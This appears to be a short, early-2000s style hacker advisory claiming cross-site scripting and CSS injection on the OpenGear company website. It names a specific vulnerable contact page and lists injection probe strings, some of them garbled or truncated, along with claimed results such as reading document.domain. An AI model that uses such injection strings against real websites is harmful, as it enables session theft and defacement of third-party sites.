0x0*] Advisory
=============
Web Penetrated By:- Aditya@Metaeye.Org
======================================Hit :- Site Manipulation.
===Vulnerability :- XSS Injection && CSS Injection OpenGear WebSite
=============BrowserStatus :- Windows IE 6.0
=============
Injections :-
========== 0x01] ' && ""
0x02]
0x03] Penetrated
0x04] ZeroKnock="www.zeroknock.cjb.net">ZeroKnock
0x05] '';!--"=&{()}
0x06] '
0x07] '
Result:-Opengear.com with alert injection.
=09
0x01] document.domain Injection Yields --> Opengear.com
0x02] document.cookie Injection Yields --> Empty string
0x03] Remote Linking Is Possible Working.
0x04] The OutBound Attack Is Also Definitive.
Site :- http://www.Opengear.com
=======
Vulnerable Link:
================ http://www.opengear.com/cm4000_nwcontact.html
Explanation :-
============ =09
[+] Poorly Coded Modules.
[+] No Patch For Ignorance.
========================================================= =09